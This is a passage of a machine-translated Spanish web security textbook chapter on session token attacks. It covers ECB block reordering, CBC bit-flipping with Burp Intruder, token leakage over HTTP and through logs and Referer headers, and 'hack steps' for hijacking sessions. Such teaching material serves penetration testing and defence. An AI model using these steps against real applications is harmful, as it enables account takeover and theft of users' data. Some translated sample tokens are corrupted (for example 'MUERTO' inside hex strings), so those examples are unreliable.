utilizado y la forma en que la aplicación procesa los tokens, es posible que
los usuarios alteren el contenido significativo de los tokens sin descifrarlos
realmente. Por extraño que parezca, en realidad se trata de ataques viables
que a veces son fáciles de lanzar y numerosas aplicaciones del mundo real
han demostrado ser vulnerables a ellos. Los tipos de ataques aplicables
dependen del algoritmo criptográfico exacto que se esté utilizando.
Cifrados del BCE
Las aplicaciones que emplean tokens cifrados utilizan un algoritmo de cifrado simétrico
para que los tokens recibidos de los usuarios puedan descifrarse para recuperar su
contenido significativo. Algunos algoritmos de cifrado simétrico utilizan un "libro de códigos electrónico"
(BCE) cifrado. Este tipo de cifrado divide el texto sin formato en bloques del mismo tamaño
( como 8 bytes cada uno) y cifra cada bloque con la clave secreta. Durante el descifrado , cada
bloque de texto cifrado se descifra utilizando la misma clave para recuperar el bloque original
de texto sin formato. Una característica de este método es que los patrones dentro del texto sin
formato pueden generar patrones dentro del texto cifrado, porque los bloques idénticos de texto
sin formato se cifrarán en bloques idénticos de texto cifrado. Para algunos tipos de datos, como
imágenes de mapa de bits, esto significa que la información significativa del texto sin formato
se puede discernir dentro del texto cifrado, como se ilustra en la Figura 7-4.
Figura 7-4: Los patrones dentro del texto sin formato

que está encriptado usando un cifrado ECB pueden
ser visibles dentro del texto cifrado resultante.
A pesar de esta deficiencia con ECB, estos cifrados se utilizan a menudo para cifrar
información dentro de las aplicaciones web. Incluso en situaciones en las que no surge el
problema de los patrones dentro del texto sin formato, aún pueden existir vulnerabilidades. Esto
se debe al comportamiento del cifrado de cifrar bloques de texto sin formato idénticos en
bloques de texto cifrado idénticos.
Considere una aplicación cuyos tokens contienen varios significados diferentes
componentes, incluido un identificador de usuario numérico:
rnd=2458992;aplicación=iTradeEUR_1;uid=218;nombre de usuario=david;hora=634430423694715
000;
Cuando este token está encriptado, aparentemente no tiene sentido y es probable que pase
todas las pruebas estadísticas estándar de aleatoriedad:
68BAC980742B9EF80A27CBBBC0618E3876FF3D6C6E6A7B9CB8FCA486F9E11922776F0307
329140AABD223F003A8309DDB6B970C47BA2E249A0670592D74BCD07D51A3E150EFC2E69
885A5C8131E4210F
El cifrado ECB que se emplea opera en bloques de datos de 8 bytes, y el

los bloques de texto sin formato se asignan a los bloques correspondientes de texto cifrado de la siguiente manera:
rnd=2458 68BAC980742B9EF8
992;app= 0A27CBBBC0618E38
iTradeEU 76FF3D6C6E6A7B9C
R_1;uid= B8FCA486F9E11922
218;usuario 776F0307329140AA
nombre=daf BD223F003A8309DD
hora B6B970C47BA2E249
=6344304 A0670592D74BCD07
23694715 D51A3E150EFC2E69
000; 885A5C8131E4210F
Ahora, debido a que cada bloque de texto cifrado siempre se descifrará en el mismo
bloque de texto sin formato, es posible que un atacante manipule la secuencia de bloques
de texto cifrado para modificar el texto sin formato correspondiente de manera significativa.
Dependiendo de cómo la aplicación procese exactamente el token descifrado resultante,
esto puede permitir que el atacante cambie a un usuario diferente o aumente los privilegios.
Por ejemplo, si el segundo bloque se duplica después del cuarto bloque, el

La secuencia de bloques será la siguiente:
rnd=2458 68BAC980742B9EF8
992;app= 0A27CBBBC0618E38
992;aplicación= 0A27CBBBC0618E38
218;usuario 776F0307329140AA
hora B6B970C47BA2E249
=6344304 A0670592D74BCD07
23694715 D51A3E150EFC2E69
000; 885A5C8131E4210F
El token descifrado ahora contiene un valor de uid modificado y también un valor de

aplicación duplicado . Lo que suceda exactamente depende de cómo la aplicación procese
el token descifrado. A menudo, las aplicaciones que usan tokens de esta manera inspeccionan
solo ciertas partes del token descifrado, como el identificador de usuario. Si la aplicación se
comporta así, procesará la solicitud en el contexto del usuario que tiene un uid de 992, en
lugar del 218 original.
El ataque que acabamos de describir dependería de que se emita un valor rnd adecuado que
corresponda a un valor uid válido cuando se manipulen los bloques.
Un ataque alternativo y más confiable sería registrar un nombre de usuario que contenga un
valor numérico en el desplazamiento apropiado y duplicar este bloque para reemplazar el valor
uid existente . Suponga que registra el nombre de usuario daf1 y recibe el siguiente token:
9A5A47BF9B3B6603708F9MUERTO67C7F4C76FF3D6C6E6A7B9CB8FCA486F9E11922A5BC430A
73B38C14BD223F003A8309DDF29A5A6F0DC06C53905B5366F5F4684C0D2BBBB08BD834BB
ADEBC07FFE87819D
Los bloques de texto sin formato y texto cifrado para este token son los siguientes:
rnd=9224 9A5A47BF9B3B6603
856;app= 708F9MUERTO67C7F4C
219;usuario A5BC430A73B38C14
1;tiempo=6 F29A5A6F0DC06C53
34430503 905B5366F5F4684C
61065250 0D2BBBB08BD834BB
0; ADEBC07FFE87819D
Si luego duplica el séptimo bloque después del cuarto bloque, su token descifrado contendrá
un valor uid de 1:
rnd=9224 9A5A47BF9B3B6603
856;app= 708F9MUERTO67C7F4C
219;usuario A5BC430A73B38C14
34430503 905B5366F5F4684C
61065250 0D2BBBB08BD834BB
0; ADEBC07FFE87819D
Al registrar un rango adecuado de nombres de usuario y volver a realizar este

ataque, podría recorrer todo el rango de valores de uid válidos y, por lo tanto,
hacerse pasar por todos los usuarios de la aplicación.
¡INTENTALO!
Cifrados CBC
Las deficiencias en los cifrados ECB llevaron al desarrollo de cifrados de encadenamiento de
bloques de cifrado (CBC). Con un cifrado CBC, antes de cifrar cada bloque de texto sin formato,
se realiza un XOR contra el bloque de texto cifrado anterior, como se muestra en la figura 7-5.
Esto evita que los bloques de texto sin formato idénticos se cifren en bloques de texto
cifrado idénticos . Durante el descifrado, la operación XOR se aplica a la inversa, y cada
bloque descifrado se somete a XOR contra el bloque anterior de texto cifrado para
recuperar el texto sin formato original.
Texto sin formato Texto sin formato Texto sin formato
Vector de inicialización (IV)
Cifrado de bloque Cifrado de bloque Cifrado de bloque

Llave Llave Llave
Cifrado Cifrado Cifrado
Texto cifrado Texto cifrado Texto cifrado
Figura 7-5: En un cifrado CBC, cada bloque de texto sin formato se somete a XOR contra el
bloque de texto cifrado anterior antes de cifrarse.
Debido a que los cifrados CBC evitan algunos de los problemas de los cifrados ECB,
los algoritmos de cifrado simétrico estándar, como DES y AES, se utilizan con frecuencia
en el modo CBC. Sin embargo, la forma en que los tokens cifrados con CBC se emplean a
menudo en las aplicaciones web significa que un atacante puede manipular partes de los
tokens descifrados sin conocer la clave secreta.
Considere una variación de la aplicación anterior cuyos tokens contienen varios
componentes significativos diferentes, incluido un identificador de usuario numérico:
rnd=191432758301;aplicación=eBankProdTC;uid=216;tiempo=6343303;
Como antes, cuando esta información se cifra, da como resultado un token aparentemente
sin significado:
0FB1F1AFB4C874E695AAFC9AA4C2269D3E8E66BBA9B2829B173F255D447C51321586257C
6E459A93635636F45D7B1A43163201477
Debido a que este token se cifra con un cifrado CBC, cuando se descifra el token, cada bloque
de texto cifrado se somete a XOR contra el siguiente bloque de texto descifrado para obtener
el texto sin formato. Ahora, si un atacante modifica partes del texto cifrado (el token que recibió),
esto hace que ese bloque específico se descifre y se convierta en basura. Sin embargo, también
hace que el siguiente bloque de texto descifrado se someta a XOR contra un bloque diferente .
valor, lo que da como resultado un texto sin formato modificado pero aún significativo. En
otras palabras, al manipular un solo bloque individual del token, el atacante puede modificar
sistemáticamente el contenido descifrado del bloque que le sigue. Dependiendo de cómo
la aplicación procese el token descifrado resultante, esto puede permitir que el atacante
cambie a un usuario diferente o aumente los privilegios.
Veamos cómo. En el ejemplo descrito, el atacante trabaja a través del token cifrado,
cambiando un carácter a la vez de forma arbitraria y enviando cada token modificado a la
aplicación. Esto implica una gran cantidad de solicitudes. La siguiente es una selección de
los valores que resultan cuando la aplicación descifra cada token modificado:
???????32858301;aplicación=eBankProdTC;uid=216;tiempo=6343303; ???????
32758321;aplicación=eBankProdTC;uid=216;tiempo=6343303;
rnd=1914???????;aqp=eBankProdTC;uid=216;time=6343303;
rnd=1914???????;app=eAankProdTC;uid=216;time=6343303;
rnd=191432758301?????????nkPqodTC;uid=216;tiempo=6343303;
rnd=191432758301?????????nkProdUC;uid=216;time=6343303;
rnd=191432758301;app=eBa???????;uie=216;time=6343303;
rnd=191432758301;app=eBa???????;uid=226;time=6343303;
rnd=191432758301;app=eBankProdTC????????;timd=6343303;
rnd=191432758301;app=eBankProdTC????????;time=6343503;
En cada caso, el bloque que el atacante ha modificado se descifra y se convierte en basura,

como se esperaba (indicado por ????????). Sin embargo, el siguiente bloque se descifra
en texto significativo que difiere ligeramente del token original. Como ya se describió, esta
diferencia ocurre porque el texto descifrado se somete a XOR contra el bloque anterior de
texto cifrado, que el atacante ha modificado levemente.
Aunque el atacante no ve los valores descifrados, la aplicación intenta procesarlos y el
atacante ve los resultados en las respuestas de la aplicación. Lo que suceda exactamente
depende de cómo la aplicación maneje la parte del token descifrado que se ha dañado. Si
la aplicación rechaza los tokens que contienen datos no válidos, el ataque falla. Sin
embargo, a menudo, las aplicaciones que usan tokens de esta manera inspeccionan solo
ciertas partes del token descifrado, como el identificador de usuario. Si la aplicación se
comporta así, el octavo ejemplo que se muestra en la lista anterior tiene éxito y la aplicación
procesa la solicitud en el contexto del usuario que tiene un uid de 226, en lugar del 216
original.
Puede probar fácilmente las aplicaciones para detectar esta vulnerabilidad utilizando el
tipo de carga útil "bit flip per" en Burp Intruder. Primero, debe iniciar sesión en la aplicación
con su propia cuenta. Luego, encuentra una página de la aplicación que depende de una
sesión iniciada y muestra la identidad del usuario registrado dentro de la respuesta. Por lo
general, la página de destino de inicio del usuario o la página de detalles de la cuenta
sirven para este propósito. La Figura 7-6 muestra Burp Intruder configurado para apuntar a
la página de inicio del usuario, con el token de sesión encriptado marcado como una
posición de carga útil.
Figura 7-6: Configuración de Burp Intruder para modificar un token de sesión cifrada
La figura 7-7 muestra la configuración de carga útil necesaria. Le dice a Burp que
opere con el valor original del token, tratándolo como hexadecimal codificado en ASCII, y
que invierta cada bit en cada posición de carácter. Este enfoque es ideal porque requiere
una cantidad relativamente pequeña de solicitudes (ocho solicitudes por byte de datos en
el token) y casi siempre identifica si la aplicación es vulnerable. Esto le permite usar un
ataque más enfocado para realizar una explotación real.
Cuando se ejecuta el ataque, las solicitudes iniciales no provocan ningún cambio
notable en las respuestas de la aplicación y la sesión del usuario sigue intacta. Esto es
interesante en sí mismo, porque indica que la primera parte del token no se usa para
identificar al usuario que inició sesión. Muchas de las solicitudes posteriores en el ataque
provocan una redirección a la página de inicio de sesión, lo que indica que la modificación
ha invalidado el token de alguna manera. Fundamentalmente, también hay una serie de
solicitudes en las que la respuesta parece ser parte de una sesión válida pero no está
asociada con la identidad del usuario original. Esto corresponde al bloque del token que
contiene el valor de uid . En algunos casos, la aplicación simplemente muestra "usuario
desconocido", lo que indica que el uid modificado no corresponde a un usuario real, por lo
que el ataque falló. En otros casos, muestra el nombre de otro usuario registrado de la
aplicación, demostrando de manera concluyente que el ataque ha tenido éxito. La figura
7-8 muestra los resultados del ataque. Aquí hemos definido una columna extract grep para
mostrar la identidad del usuario que ha iniciado sesión y hemos establecido un fi ltro para
ocultar las respuestas que son redireccionamientos a la página de inicio de sesión.
Figura 7-7: Configuración de Burp Intruder para voltear cada bit en el token cifrado
Figura 7-8: Un ataque exitoso de intercambio de bits contra un token encriptado

Habiendo identificado la vulnerabilidad, puede proceder a explotarla con un

ataque más enfocado. Para hacer esto, determinaría a partir de los resultados
exactamente qué bloque del token cifrado se está manipulando cuando cambia el
contexto del usuario. Entonces lanzaría un ataque que prueba numerosos valores
adicionales dentro de este bloque. Puede usar el tipo de carga útil de números
dentro de Burp Intruder para hacer esto.
¡INTENTALO!
NOTA Algunas aplicaciones utilizan la técnica de cifrar datos significativos dentro de los
parámetros de solicitud de forma más general en un intento de evitar la manipulación de
datos, como los precios de los artículos de compra. En cualquier lugar donde vea datos
aparentemente encriptados que juegan un papel clave en la funcionalidad de la aplicación,
debe probar la técnica de cambio de bits para ver si puede manipular la información encriptada
de una manera significativa para interferir con la lógica de la aplicación.
Al tratar de explotar la vulnerabilidad descrita en esta sección, su objetivo sería, por

supuesto, hacerse pasar por diferentes usuarios de la aplicación, idealmente un usuario
administrativo con mayores privilegios. Si está restringido a manipular ciegamente partes de
un token encriptado, esto puede requerir un poco de suerte.
Sin embargo, en algunos casos, la aplicación puede brindarle más ayuda. Cuando una
aplicación emplea encriptación simétrica para proteger los datos de la manipulación por
parte de los usuarios, es común que se use el mismo algoritmo y clave de encriptación en
toda la aplicación. En esta situación, si alguna función de la aplicación revela al usuario el
valor descifrado de una cadena cifrada arbitraria, esto se puede aprovechar para descifrar
por completo cualquier elemento de información protegida.
Una aplicación observada por los autores contenía una función de carga/descarga de
archivos. Después de cargar un archivo, los usuarios recibieron un enlace de descarga que
contenía un parámetro de nombre de archivo. Para evitar varios ataques que manipulan las
rutas de los archivos, la aplicación cifra el nombre del archivo dentro de este parámetro. Sin
embargo, si un usuario solicitaba un archivo que había sido eliminado, la aplicación mostraba
un mensaje de error que mostraba el nombre descifrado del archivo solicitado. Este
comportamiento podría aprovecharse para encontrar el valor de texto sin formato de cualquier
cadena cifrada utilizada dentro de la aplicación, incluidos los valores de los tokens de sesión.
Se encontró que los tokens de sesión contenían varios valores significativos en un formato
estructurado que era vulnerable al tipo de ataque descrito en esta sección. Debido a que
estos valores incluían nombres de usuario textuales y roles de aplicación, en lugar de
identificadores numéricos , habría sido extremadamente difícil realizar una explotación
exitosa usando solo un cambio de bit ciego. Sin embargo, usando la función de descifrado
de nombre de archivo, fue posible manipular sistemáticamente bits de un token mientras se visualizaban los res
Esto permitió la construcción de un token que, cuando se descifraba, especificaba un rol

administrativo y de usuario válido, lo que permitía el control total de la aplicación.
NOTA Es posible que otras técnicas le permitan descifrar los datos cifrados
utilizados por la aplicación. Se puede abusar de un oráculo de cifrado de
"revelación" para obtener el valor de texto claro de un token cifrado. Aunque
esto puede ser una vulnerabilidad significativa al descifrar una contraseña,
descifrar un token de sesión no proporciona un medio inmediato para comprometer las sesiones de otros usu
Sin embargo, el token descifrado proporciona información útil sobre la estructura de texto
sin cifrar, lo que es útil para realizar un ataque de volteo de bits dirigido. Consulte el
Capítulo 11 para obtener más detalles sobre los ataques de oráculo de cifrado de "revelación".
Los ataques de canal lateral contra oráculos de relleno pueden usarse para comprometer
tokens encriptados. Consulte el Capítulo 18 para obtener más detalles.
PASOS DE HACK
En muchas situaciones en las que se utilizan tokens cifrados, la capacidad de explotación real
puede depender de varios factores, incluidos los desplazamientos de los límites de bloque en
relación con los datos que necesita atacar y la tolerancia de la aplicación a los cambios que
provoca en la estructura de texto sin formato circundante. Trabajando completamente a
ciegas, puede parecer difícil construir un ataque efectivo, sin embargo, en muchas situaciones
esto es posible.
1. A menos que el token de sesión sea obviamente significativo o secuencial en sí mismo,

considere siempre la posibilidad de que pueda estar encriptado. A menudo, puede
identificar que se está utilizando un cifrado basado en bloques registrando varios
nombres de usuario diferentes y agregando un carácter de longitud cada vez. Si
encuentra un punto en el que agregar un carácter da como resultado que su token de
sesión salte en longitud en 8 o 16 bytes, entonces probablemente se esté utilizando
un cifrado de bloque. Puede confirmar esto continuando agregando bytes a su nombre
de usuario y buscando el mismo salto que ocurre 8 o 16 bytes más tarde.
2. Las vulnerabilidades de manipulación del cifrado ECB normalmente son difíciles de

identificar y explotar en un contexto puramente de caja negra. Puede intentar duplicar
y mover a ciegas los bloques de texto cifrado dentro de su token, y revisar si
permanece conectado a la aplicación dentro de su propio contexto de usuario, el de
otro usuario o ninguno.
3. Puede probar las vulnerabilidades de manipulación de cifrado CBC ejecutando un ataque

Burp Intruder en todo el token, utilizando la fuente de carga útil de "cambio de bits". Si
el ataque de volteo de bits identifica una sección dentro del token, cuya manipulación
hace que permanezca en una sesión válida, pero como un usuario diferente o inexistente,
realice un ataque más enfocado solo en esta sección, probando un rango más amplio
de valores en cada puesto
4. Durante ambos ataques, controle las respuestas de la aplicación para identificar al usuario
asociado con su sesión después de cada solicitud e intente aprovechar cualquier
oportunidad de escalada de privilegios que pueda resultar.
5. Si sus ataques no tienen éxito, pero del paso 1 parece que la entrada de longitud variable
que usted controla se está incorporando al token, debe intentar generar una serie de
tokens agregando un carácter a la vez, al menos hasta el tamaño de bloques que se utilizan.
Para cada token resultante, debe volver a realizar los pasos 2 y 3. Esto aumentará la posibilidad
de que los datos que necesita modificar estén adecuadamente alineados con los límites del
bloque para que su ataque tenga éxito.
Debilidades en el manejo de tokens de sesión
No importa qué tan efectiva sea una aplicación para garantizar que los tokens de sesión
que genera no contengan información significativa y no sean susceptibles de análisis o
predicción, su mecanismo de sesión estará completamente abierto a ataques si esos
tokens no se manejan con cuidado después de la generación. Por ejemplo, si los tokens
se revelan a un atacante a través de algún medio, el atacante puede secuestrar sesiones
de usuario incluso si es imposible predecir los tokens.
El manejo inseguro de tokens de una aplicación puede hacerla vulnerable a ataques
de varias maneras.
MITO COMÚN
"Nuestro token está protegido contra la divulgación a terceros porque usamos SSL".
El uso adecuado de SSL ciertamente ayuda a proteger los tokens de sesión para que no
sean capturados. Pero varios errores aún pueden dar como resultado que los tokens se
transmitan en texto sin cifrar, incluso cuando SSL está implementado. Y se pueden usar varios
ataques directos contra los usuarios finales para obtener sus tokens.
MITO COMÚN
"Nuestro token es generado por la plataforma utilizando tecnologías maduras y

criptográficamente sólidas, por lo que no es vulnerable al compromiso".
El comportamiento predeterminado de un servidor de aplicaciones suele ser crear una cookie de sesión
cuando el usuario visita el sitio por primera vez y mantenerlo disponible para toda la
interacción del usuario con el sitio. Como se describe en las siguientes secciones, esto puede
generar varias vulnerabilidades de seguridad en la forma en que se maneja el token.
Divulgación de tokens en la red

Esta área de vulnerabilidad surge cuando el token de sesión se transmite a través de
la red sin cifrar, lo que permite que un intruso posicionado adecuadamente obtenga
el token y, por lo tanto, se haga pasar por el usuario legítimo. Las posiciones
adecuadas para espiar incluyen la red local del usuario, dentro del departamento de
TI del usuario, dentro del ISP del usuario, en la red troncal de Internet, dentro del ISP
de la aplicación y dentro del departamento de TI de la organización que aloja la
aplicación. En cada caso, esto incluye tanto al personal autorizado de la organización
pertinente como a cualquier atacante externo que haya comprometido la infraestructura en cuestión.
En el caso más simple, cuando una aplicación utiliza una conexión HTTP sin cifrar para las
comunicaciones, un atacante puede capturar todos los datos transmitidos entre el cliente y el
servidor, incluidas las credenciales de inicio de sesión, la información personal, los detalles de
pago, etc. En esta situación, un ataque contra la sesión del usuario suele ser innecesario porque
el atacante ya puede ver información privilegiada y puede iniciar sesión con las credenciales
capturadas para realizar otras acciones maliciosas.
Sin embargo, aún puede haber casos en los que la sesión del usuario sea el objetivo principal.
Por ejemplo, si las credenciales capturadas son insuficientes para realizar un segundo inicio de
sesión (por ejemplo, en una aplicación bancaria, pueden incluir un número que se muestra en un
token físico cambiante o dígitos específicos del PIN del usuario), el atacante puede necesitar
secuestrar la sesión escuchada para realizar acciones arbitrarias. O si los inicios de sesión se
auditan de cerca y se notifica al usuario cada inicio de sesión exitoso, un atacante puede querer
evitar realizar su propio inicio de sesión para ser lo más sigiloso posible.
En otros casos, una aplicación puede usar HTTPS para proteger las comunicaciones clave
entre el cliente y el servidor, pero aun así puede ser vulnerable a la intercepción de tokens de
sesión en la red. Esta debilidad puede ocurrir de varias maneras, muchas de las cuales pueden
surgir específicamente cuando se utilizan cookies HTTP como mecanismo de transmisión para
tokens de sesión:
n Algunas aplicaciones optan por utilizar HTTPS para proteger las credenciales del usuario
durante el inicio de sesión, pero luego vuelven a HTTP durante el resto de la sesión del
usuario . Muchas aplicaciones de correo web se comportan de esta manera. En esta
situación, un intruso no puede interceptar las credenciales del usuario, pero aún puede
capturar el token de sesión. La herramienta Firesheep, lanzada como un complemento
para Firefox, hace que este sea un proceso fácil.
n Algunas aplicaciones usan HTTP para áreas preautenticadas del sitio, como la página
principal del sitio, pero cambian a HTTPS desde la página de inicio de sesión en adelante.
Sin embargo, en muchos casos, el usuario recibe un token de sesión en la primera
página visitada y este token no se modifica cuando el usuario inicia sesión. La sesión
del usuario, que originalmente no está autenticada, se actualiza a una sesión autenticada
después del inicio de sesión . . En esta situación, un intruso puede interceptar el token
de un usuario antes de iniciar sesión, esperar a que las comunicaciones del usuario cambien a
HTTPS, lo que indica que el usuario está iniciando sesión y luego intenta acceder a una
página protegida (como Mi cuenta) usando ese token.
n Incluso si la aplicación emite un token nuevo luego de un inicio de sesión exitoso y usa
HTTPS desde la página de inicio de sesión en adelante, el token para la sesión autenticada
del usuario aún puede divulgarse. Esto puede suceder si el usuario vuelve a visitar una
página de autenticación previa (como Ayuda o Acerca de), ya sea siguiendo los enlaces
dentro del área autenticada, usando el botón Atrás o escribiendo la URL directamente.
n En una variación del caso anterior, la aplicación puede intentar cambiar a HTTPS cuando
el usuario hace clic en el enlace Iniciar sesión. Sin embargo, aún puede aceptar un inicio
de sesión a través de HTTP si el usuario modifica la URL en consecuencia. En esta
situación , un atacante en una posición adecuada puede modificar las páginas devueltas
en las áreas autenticadas previamente del sitio para que el enlace de inicio de sesión
apunte a una página HTTP. Incluso si la aplicación emite un token de sesión nuevo
después de un inicio de sesión exitoso, el atacante aún puede interceptar este token si ha
degradado con éxito la conexión del usuario a HTTP.
n Algunas aplicaciones usan HTTP para todo el contenido estático dentro de la aplicación,
como imágenes, guiones, hojas de estilo y plantillas de página. Este comportamiento a
menudo se indica mediante una advertencia en el navegador del usuario, como se muestra
en la Figura 7-9. Cuando un navegador muestra esta advertencia, ya ha recuperado el
elemento relevante a través de HTTP, por lo que el token de sesión ya se ha transmitido.
El propósito de la advertencia del navegador es permitir que el usuario se niegue a
procesar los datos de respuesta que se han recibido a través de HTTP y, por lo tanto,
pueden estar contaminados. Como se describió anteriormente, un atacante puede
interceptar el token de sesión del usuario cuando el navegador del usuario accede a un
recurso a través de HTTP y usar este token para acceder a áreas protegidas no estáticas del sitio a través de
Figura 7-9: Los navegadores presentan una advertencia cuando una página
a la que se accede a través de HTTPS contiene elementos a los que se accede

a través de HTTP.
n Incluso si una aplicación utiliza HTTPS para todas las páginas, incluidas las áreas no
autenticadas del sitio y el contenido estático, puede haber circunstancias en las que los
tokens de los usuarios se transmitan a través de HTTP. Si un atacante puede
de alguna manera inducir a un usuario a realizar una solicitud a través de HTTP (ya sea al HTTP
servicio en el mismo servidor si se está ejecutando uno o en http://server:443/ de lo

contrario), se puede enviar su token. Los medios por los cuales el atacante puede
intentar esto incluyen enviar al usuario una URL en un correo electrónico o mensaje
instantáneo, colocar enlaces de carga automática en un sitio web que controla el
atacante o usar anuncios publicitarios en los que se puede hacer clic. (Consulte los
Capítulos 12 y 13 para obtener más detalles sobre técnicas de este tipo para lanzar ataques contra otros usuarios).
PASOS DE HACK
1. Recorra la aplicación de la forma habitual desde el primer acceso (la

URL de “inicio”), a través del proceso de inicio de sesión, y luego a través de
toda la funcionalidad de la aplicación. Mantenga un registro de cada URL
visitada y anote cada instancia en la que se recibe un nuevo token de sesión.
Preste especial atención a las funciones de inicio de sesión y las transiciones
entre las comunicaciones HTTP y HTTPS. Esto se puede lograr de forma manual
con un rastreador de red como Wireshark o parcialmente automatizado con las
funciones de registro de su proxy de interceptación, como se muestra en la Figura 7-10.
Figura 7-10: Recorrido por una aplicación para identificar ubicaciones donde se
reciben nuevos tokens de sesión.
2. Si se utilizan cookies HTTP como mecanismo de transmisión para tokens de sesión,

verifique si el indicador de seguridad está establecido, lo que evita que se
transmitan a través de conexiones sin cifrar.
3. Determinar si, en el uso normal de la aplicación, los tokens de sesión
nunca se transmiten a través de una conexión no cifrada. Si es así, deben
considerarse vulnerables a la interceptación.
4. Cuando la página de inicio usa HTTP y la aplicación cambia a HTTPS para el
inicio de sesión y las áreas autenticadas del sitio, verifique si se emite un
nuevo token después del inicio de sesión o si un token transmitido durante la
etapa HTTP todavía se usa para rastrear la sesión autenticada del usuario.
También verifique si la aplicación aceptará el inicio de sesión a través de HTTP si la URL de
inicio de sesión se modifica en consecuencia.
5. Incluso si la aplicación usa HTTPS para cada página, verifique si el

El servidor también está escuchando en el puerto 80, ejecutando cualquier
servicio o contenido. Si es así, visite cualquier URL HTTP directamente desde
una sesión autenticada y verifique si se transmite el token de sesión.
6. En los casos en que se transmita un token para una sesión autenticada al servidor a
través de HTTP, verifique si ese token sigue siendo válido o si el servidor lo cancela
inmediatamente.
¡INTENTALO!
Divulgación de tokens en registros

Además de la transmisión de texto sin cifrar de tokens de sesión en las comunicaciones
de red , el lugar más común donde los tokens simplemente se revelan a una vista no
autorizada es en los registros del sistema de varios tipos. Aunque es una ocurrencia más
rara, las consecuencias de este tipo de divulgación suelen ser más graves. Esos registros
pueden ser vistos por una gama mucho más amplia de atacantes potenciales, no solo
por alguien que está adecuadamente posicionado para espiar la red.
Muchas aplicaciones brindan funcionalidad para administradores y otro personal de
soporte para monitorear y controlar aspectos del estado de tiempo de ejecución de la
aplicación, incluidas las sesiones de usuario. Por ejemplo, un trabajador de la mesa de ayuda
que asiste a un usuario que tiene problemas puede solicitar su nombre de usuario, ubicar su
sesión actual a través de una lista o función de búsqueda y ver detalles relevantes sobre la
sesión. O un administrador puede consultar un registro de sesiones recientes en el curso de
la investigación de una brecha de seguridad. A menudo, este tipo de funcionalidad de
supervisión y control revela el token de sesión real asociado con cada sesión. Y, a menudo,
la funcionalidad está mal protegida, lo que permite a los usuarios no autorizados acceder a
la lista de tokens de sesión actuales y, por lo tanto, secuestrar las sesiones de todos los usuarios de la aplicació
La otra causa principal de que aparezcan tokens de sesión en los registros del sistema es
cuando una aplicación usa la cadena de consulta de URL como mecanismo para transmitir
tokens, en lugar de usar cookies HTTP o el cuerpo de las solicitudes POST . Por ejemplo,
buscar en Google inurl:jsessionid identifica miles de aplicaciones que transmiten el token de
sesión de la plataforma Java (llamado jsessionid) dentro de la URL:
http://www.webjunction.org/do/Navigation;jsessionid=
F27ED2A6AAE4C6DA409A3044E79B8B48?category=327
Cuando las aplicaciones transmiten sus tokens de sesión de esta manera, es probable
que sus tokens de sesión aparezcan en varios registros del sistema a los que pueden tener
acceso partes no autorizadas:
n Registros del navegador de
los usuarios n Registros del
servidor web n Registros de servidores proxy
corporativos o ISP n Registros de cualquier proxy inverso empleado dentro del alojamiento de la aplicación
ambiente
n Los registros de Referer de cualquier servidor que los usuarios de la aplicación visiten siguiendo
enlaces fuera del sitio, como se muestra en la Figura 7-11
Algunas de estas vulnerabilidades surgen incluso si se usa HTTPS en toda la aplicación.
Figura 7-11: cuando los tokens de sesión aparecen en las URL, estos se transmiten en el
encabezado Referer cuando los usuarios siguen un enlace externo o su navegador carga un
recurso externo.
El caso final que acabamos de describir le presenta a un atacante un medio altamente

efectivo para capturar tokens de sesión en algunas aplicaciones. Por ejemplo, si una
aplicación de correo web transmite tokens de sesión dentro de la URL, un atacante puede
enviar correos electrónicos a los usuarios de la aplicación que contienen un enlace a un
servidor web que controla. Si algún usuario accede al enlace (porque hace clic en él o
porque su navegador carga imágenes contenidas en un correo electrónico con formato
HTML), el atacante recibe, en tiempo real, el token de sesión del usuario. El atacante puede
ejecutar un script simple en su servidor para secuestrar la sesión de cada token recibido y
realizar alguna acción maliciosa, como enviar correo electrónico no deseado, recopilar
información personal o cambiar contraseñas.
NOTA Las versiones actuales de Internet Explorer no incluyen un encabezado de

referencia cuando se siguen enlaces fuera del sitio contenidos en una página a la que se
accedió a través de HTTPS. En esta situación, Firefox incluye el encabezado Referer
siempre que el enlace fuera del sitio también se acceda a través de HTTPS, incluso si
pertenece a un dominio diferente. Por lo tanto, los datos confidenciales colocados en las
URL son vulnerables a la filtración en los registros de Referer, incluso cuando se utiliza SSL.
PASOS DE HACK
1. Identifique toda la funcionalidad dentro de la aplicación y localice cualquier registro

ging o funciones de monitoreo donde se pueden ver tokens de sesión. Verifique
quién puede acceder a esta funcionalidad, por ejemplo, los administradores,
cualquier usuario autenticado o cualquier usuario anónimo. Consulte el Capítulo 4
para conocer las técnicas para descubrir contenido oculto que no está vinculado
directamente desde la aplicación principal.
2. Identifique cualquier instancia dentro de la aplicación donde los tokens de sesión

se transmitan dentro de la URL. Puede ser que los tokens se transmitan
generalmente de una manera más segura, pero que los desarrolladores hayan
usado la URL en casos específicos para solucionar dificultades particulares. Por
ejemplo, este comportamiento se observa a menudo cuando una aplicación web
interactúa con un sistema externo.
3. Si los tokens de sesión se transmiten en URL, intente encontrar cualquier función de

aplicación que le permita inyectar enlaces fuera del sitio arbitrarios en páginas
vistas por otros usuarios. Los ejemplos incluyen la funcionalidad que implementa
un tablero de mensajes, comentarios sobre el sitio, preguntas y respuestas, etc. Si
es así, envíe enlaces a un servidor web que controle y espere a ver si se reciben
tokens de sesión de algún usuario en sus registros de referencia.
4. Si se capturan tokens de sesión, intente secuestrar sesiones de usuario

utilizando la aplicación de forma normal pero sustituyendo un token capturado por
uno propio. Puede hacerlo interceptando la siguiente respuesta del servidor y
agregando un encabezado Set-Cookie propio con el valor de la cookie capturada. En
Burp, puede aplicar una configuración única para toda la suite que establece una
cookie específica en todas las solicitudes a la aplicación de destino para permitir
cambiar fácilmente entre diferentes contextos de sesión durante la prueba.
6. Si se captura una gran cantidad de tokens y el secuestro de sesión le permite acceder

a datos confidenciales como detalles personales, información de pago o
contraseñas de usuario, puede utilizar las técnicas automatizadas descritas en el
Capítulo 14 para recopilar todos los datos deseados pertenecientes a otros. usuarios de la aplicación.
¡INTENTALO!
Mapeo vulnerable de tokens a sesiones

Varias vulnerabilidades comunes en los mecanismos de administración de sesiones surgen
debido a las debilidades en la forma en que la aplicación asigna la creación y el procesamiento
de tokens de sesión a las propias sesiones de los usuarios individuales.
La debilidad más simple es permitir que se asignen simultáneamente varios tokens
válidos a la misma cuenta de usuario. En prácticamente todas las aplicaciones, no existe
una razón legítima por la que un usuario deba tener más de una sesión activa a la vez. Por
supuesto, es bastante común que un usuario abandone una sesión activa y comience una
nueva, por ejemplo, porque cierra una ventana del navegador o se mueve a una computadora
